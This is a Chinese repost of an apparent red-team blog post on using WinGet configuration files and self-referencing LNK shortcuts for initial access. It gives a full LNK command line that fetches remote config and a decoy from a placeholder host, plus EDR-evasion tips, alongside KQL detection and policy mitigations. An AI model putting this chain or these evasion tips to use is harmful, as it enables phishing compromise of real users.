文章总结: 本文揭示利用WinGetConfiguration结合自引用LNK文件的初始访问技术。因WinGet忽略MoTW且无SmartScreen,攻击者可构造配置文件通过LNK触发执行PowerShell。文章阐述载荷构造及对抗EDR技巧,提供KQL检测规则与禁用功能的防御措施,建议禁用未使用组件缩减攻击面。 综合评分: 88 文章分类: 红队,实战经验,渗透测试,安全建设
WinGet Desired State: 一个被低估的初始访问通道
compass-securit compass-securit
赛博知识驿站
2026年3月6日 10:00 中国香港
核心要点:虽然算不上什么新鲜手法,但将自引用
LNK文件与winget配置指令相结合,在未禁用Microsoft Store的环境中,确实能化腐朽为神奇——成为一条相当实用的初始访问路径。
当红队项目需要设计一个初始访问载荷时,安全研究员们通常会从以下几个维度寻找灵感:
- • 文件扩展名的关联程序
- • 系统注册的协议处理器
- •
Microsoft Edge和Outlook等主流应用的黑名单机制 - • 威胁行为者惯用的文件类型
正是在这样的背景下,作者的同事Sylvain注意到了一个细节:.winget扩展名被映射到了以下命令,这意味着只需双击即可轻松执行:
winget.exe configure "%1" --wait
尽管winget的滥用潜力早已不是秘密,但防御社区似乎对此相当”佛系”——这从它未被纳入前述危险文件拦截列表中就能窥见一斑。究其原因,可能是因为微软自己在大力推广这个功能,比如用它来简化开发者依赖的安装流程:
微软官方安装指引
微软官方文档中的开发者依赖安装指引
从攻击者的角度来看,更妙的是:winget完全不理会Mark of the Web (MoTW)标记,也没有集成SmartScreen防护——这简直是”无脑”通行证。
快速入门:WinGet Configuration 是什么?
winget configuration功能[1]构建于PowerShell Desired State Configuration (DSC)之上,这是一个声明式的系统配置管理平台。如果你熟悉Ansible,就会发现两者的理念如出一辙:通过一系列理想化的幂等配置步骤,最终达成一致的系统状态。
要启用configure组件的扩展特性,普通用户权限即可搞定:
winget configure --enable
默认资源[2]提供了丰富的功能:访问环境变量和注册表、解压归档文件、创建进程,以及执行PowerShell脚本。这些能力足以支撑各种”钓鱼持久化”手段。举个简单的例子,以下配置文件会下载并运行Sysinternals的Process Explorer:
properties:
configurationVersion: 0.2.0
resources:
- resource: PSDscResources/Script
directives:
description: Download ProcessExplorer.zip from remote URL
settings:
SetScript: "Invoke-WebRequest -Uri 'https://download.sysinternals.com/files/ProcessExplorer.zip' -OutFile 'C:\\Windows\\Temp\\ProcessExplorer.zip' -UseBasicParsing"
GetScript: $false
TestScript: $false
- resource: PSDscResources/Archive
directives:
description: Extract ProcessExplorer.zip
settings:
Path: C:\Windows\Temp\ProcessExplorer.zip
Destination: C:\Windows\Temp\Extracted
Ensure: Present
- resource: PSDscResources/WindowsProcess
directives:
description: Run ProcessExplorer.exe from extracted archive
settings:
Path: C:\Windows\Temp\Extracted\procexp64.exe
Arguments: "-accepteula"
从攻击视角来看,winget本质上是一个优雅的PowerShell执行代理——它借助系统原生的配置管理功能,将真正的系统变更操作交给ConfigurationRemotingServer.exe进程来完成。这种模式与通过SCCM部署脚本有几分神似,后者的脚本会通过CcmExec.exe执行,往往较少受到审查。如有需要,所有引用的PowerShell资源会自动从PowerShell Gallery[3]下载并存储在%LOCALAPPDATA%\Microsoft\WinGet\Configuration\Modules。
从终端用户的视角来看,双击.winget文件的效果如下:
双击执行效果
打开.winget文件时的标准行为
然而,想要说服钓鱼目标执行这样的载荷,还存在几个”尴尬”的障碍:
- • 用户必须明确输入
Y(大小写不敏感)来确认安装 - • 会显示大量令人困惑的文本信息
- • 由于
--wait命令行选项,控制台应用会在执行后保持打开状态
减少用户交互:化繁为简的艺术
要绕过显式的用户输入,可以采用以下两种方式:
- • 启动
winget时加上--accept-configuration-agreements选项 - • 通过其他形式提供所需的确认输入,例如
echo y | winget ...
输出信息可以通过重定向到>nul来抑制。
所有这些选项都需要直接控制winget的调用方式,这意味着配置文件不能再单独使用,而需要通过某种触发文件来应用。最显而易见的方法是使用LNK快捷方式。这将交互式键盘输入的需求替换为一个与MoTW相关的安全警告对话框——终端用户更有可能接受后者。由于winget也支持应用托管在Web服务器上的配置,第一次尝试是使用执行以下命令的快捷方式:
winget configure https://yourhost.tld/burpisnotbeef.yml --accept-configuration-agreements
虽然包含在ZIP归档中的LNK可以通过HTML走私传递到端点,但后续执行却失败了。
此时,研究人员决定尝试Emeric Nasi在其Offensive X演讲Breach The Gate: Advanced Initial Access Craft 2024[4]中讨论的技术:
自引用LNK技术
自引用LNK技术示意图
核心思路是精心构造一个LNK快捷方式,让它:
- 1. 定位自身
- 2. 使用
more命令[5]提取附加的winget配置数据 - 3. 展示一个诱饵文档来分散用户注意力
- 4. 在后台以所需选项执行
winget
为了定位投递的LNK文件,假设用户要么在下载文件夹中解压了ZIP归档,要么直接打开了归档文件。在后一种情况下,Windows会将选定文件解压到临时目录,例如:%TMP%\2af79810-65c9-4d8d-8a63-5f003ab362c8_update.zip.2c8\update.lnk。
将上述列表中的步骤1-4组合起来,得到的快捷方式命令如下:
C:\Windows\system32\cmd.exe /c "(cd %TMP%\*update.zip* || cd %HOMEPATH%\Downloads\update) & (more +1349 *.lnk > %TMP%\conf.yml) && start https://yourhost.tld/decoy.pdf & winget configure --enable & (echo Y | winget configure -f %TMP%\conf.yml >nul)"
此时作者心想:这玩意儿不可能瞒得过现代EDR。
预测EDR反应很难
预测现代EDR系统的反应真的很难
对于Microsoft Defender for Endpoint (MDE)来说,关键在于将LNK文件的整体大小(包括附加数据)控制得尽可能小。否则会触发如下告警:
MDE告警
MDE似乎不喜欢大体积的LNK文件
基于有限的实践经验,这里有一些实用建议:
- • 将快捷方式命令行保持得尽可能短,不要超过约250个字符
- • 用别名
winget dsc代替winget configure - • 文件扩展名无关紧要:用
.yml代替.winget,或者干脆省略扩展名 - • 为了加快配置过程,使用单个
PowerShell脚本资源 - • 使用映射到编译的
.NET cmdlet的命令,或使用如[System.IO.Compression.ZipFile]::ExtractToDirectory这样的API,而不是Expand-Archive,以避免创建额外的powershell.exe进程 - • 避免使用
.pdf.lnk这样的双重文件扩展名 - • 如果在未启用扩展功能的系统上遇到问题,使用如
timeout /t 1添加小延迟 - • 如果
echo Y | ...结构面临脆弱的检测,使用其他方式如echo y > x & type x | ...或应用轻微的DOSfuscation[6]混淆 - • 检查你的载荷是否匹配常见的LNK相关YARA规则[7]
- • 在投递的
ZIP文件的嵌套文件夹结构中添加更多良性文件 - • 如果使用独立的
winget方法,在配置文件的PowerShell脚本的前5行用与你的预文本匹配的注释进行填充
遗留PowerShell脚本资源[8]、较新的基于类的DSC资源[9]、核心PSDesiredStateConfiguration模块[10]以及winget工具[11]本身的源代码都可以在GitHub上找到,供进一步检查。例如,可以发现PowerShell执行使用的是System.Management.Automation,这意味着你的脚本会通过AMSI。
演示视频
已关注
关注
重播 分享 赞
关闭
观看更多
更多
退出全屏
切换到竖屏全屏退出全屏
赛博知识驿站已关注
分享视频
,时长00:38
0/0
00:00/00:38
切换到横屏模式
继续播放
[ ]
进度条,百分之0
播放
00:00
/
00:38
00:38
倍速
全屏
倍速播放中
0.5倍 0.75倍 1.0倍 1.5倍 2.0倍
超清 流畅
继续观看
WinGet Desired State: 一个被低估的初始访问通道
观看更多
转载
,
WinGet Desired State: 一个被低估的初始访问通道
赛博知识驿站已关注
分享点赞在看
已同步到看一看写下你的评论
视频详情
在已启用扩展功能的系统上的终端用户体验。winget命令在最小化的控制台窗口中后台运行。
这项技术还可以与其他LNK相关技巧[12]结合使用,在好奇的用户检查快捷方式属性时隐藏执行的命令。
检测:让攻击行为无所遁形
要检查你的环境中是否存在该功能的(滥)用情况,可以尝试运行以下KQL查询,列出所有winget configure调用。重要的是子字符串匹配需要不区分大小写:
DeviceProcessEvents
| where FileName =~ "winget.exe"
| where ProcessCommandLine has_any ("configure", "configuration", "dsc")
在受影响的机器上,可以使用以下命令列出已应用的配置及其来源:
winget configure list
此外,winget会将所有执行的调用记录在通过winget --logs打开的目录中。默认情况下会记录执行时间和使用的命令行参数。如果通过winget settings打开的配置文件提高日志详细程度[13],还会记录完整的配置指令和各个步骤的执行情况。
补救措施:审时度势,对症下药
假设完全不需要winget功能,可以通过禁用整个Microsoft Store[14],或者更具体地说,通过EnableAppInstaller策略[15]禁用Windows Package Manager (winget)来缓解攻击面。Windows Defender Application Control (WDAC)等通用应用程序白名单解决方案提供了另一种阻止执行的方法。
如果需要Windows package manager,可以通过EnableWindowsPackageManagerConfiguration[16]策略指令单独禁用本文描述的配置子命令。
补救措施
根据是禁用Store应用、包管理器(winget)还是其配置功能,会出现不同的错误模式
如果出于某种原因无法实现上述方案,那么至少考虑移除.winget文件关联。虽然这无法阻止LNK恶作剧,但它消除了通过简单双击来执行配置文件的可能性,从而提高了所需的社会工程努力。
结语:进化的必然与防御的智慧
本文展示了一种可行的初始访问载荷方案,它将两种已知技术巧妙串联:将winget作为”白利用”二进制文件来调用PowerShell脚本,以及将自引用Windows快捷方式作为组合的投递和执行机制。
真正的智慧在于,防御者应当尽可能缩减系统的攻击面——禁用未使用的Windows组件和功能,如Microsoft Store、Windows Package Manager (winget)或其配置功能,这不仅是技术选择,更是安全策略的进化必然。
原文:https://blog.compass-security.com/2026/03/winget-desired-state-initial-access-established/
引用链接
[1] winget configuration功能: https://learn.microsoft.com/en-us/windows/package-manager/configuration/
[2] 默认资源: https://learn.microsoft.com/en-us/powershell/dsc/reference/psdscresources/overview?view=dsc-2.0#resources
[3] PowerShell Gallery: https://www.powershellgallery.com/packages?q=Tags%3A%22DSC%22
[4] Breach The Gate: Advanced Initial Access Craft 2024: https://www.youtube.com/watch?v=bA2p27gQK4M
[5] more命令: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/more
[6] DOSfuscation: https://services.google.com/fh/files/misc/exploring-the-depths-of-cmd-exe-obfuscation-wp-en.pdf
[7] LNK相关YARA规则: https://github.com/Neo23x0/signature-base/blob/master/yara/gen_susp_lnk_files.yar
[8] 遗留PowerShell脚本资源: https://github.com/PowerShell/PSDscResources/blob/master/DscResources/MSFT_ScriptResource/MSFT_ScriptResource.psm1
[9] 基于类的DSC资源: https://github.com/microsoft/winget-dsc/tree/main/resources
[10] PSDesiredStateConfiguration模块: https://github.com/PowerShell/PSDesiredStateConfiguration
[11] winget工具: https://github.com/microsoft/winget-cli/blob/HEAD/src/AppInstallerCLICore/Commands/ConfigureCommand.cpp
[12] LNK相关技巧: https://www.wietzebeukema.nl/blog/trust-me-im-a-shortcut
[13] 日志详细程度: https://github.com/microsoft/winget-cli/blob/master/doc/Settings.md#logging
[14] 整个Microsoft Store: https://learn.microsoft.com/en-us/windows/configuration/store/
[15] EnableAppInstaller策略: https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-desktopappinstaller#enableappinstaller
[16] EnableWindowsPackageManagerConfiguration: https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-desktopappinstaller#enablewindowspackagemanagerconfiguration
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赛博知识驿站 compass-securit compass-securit《WinGet Desired State: 一个被低估的初始访问通道》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论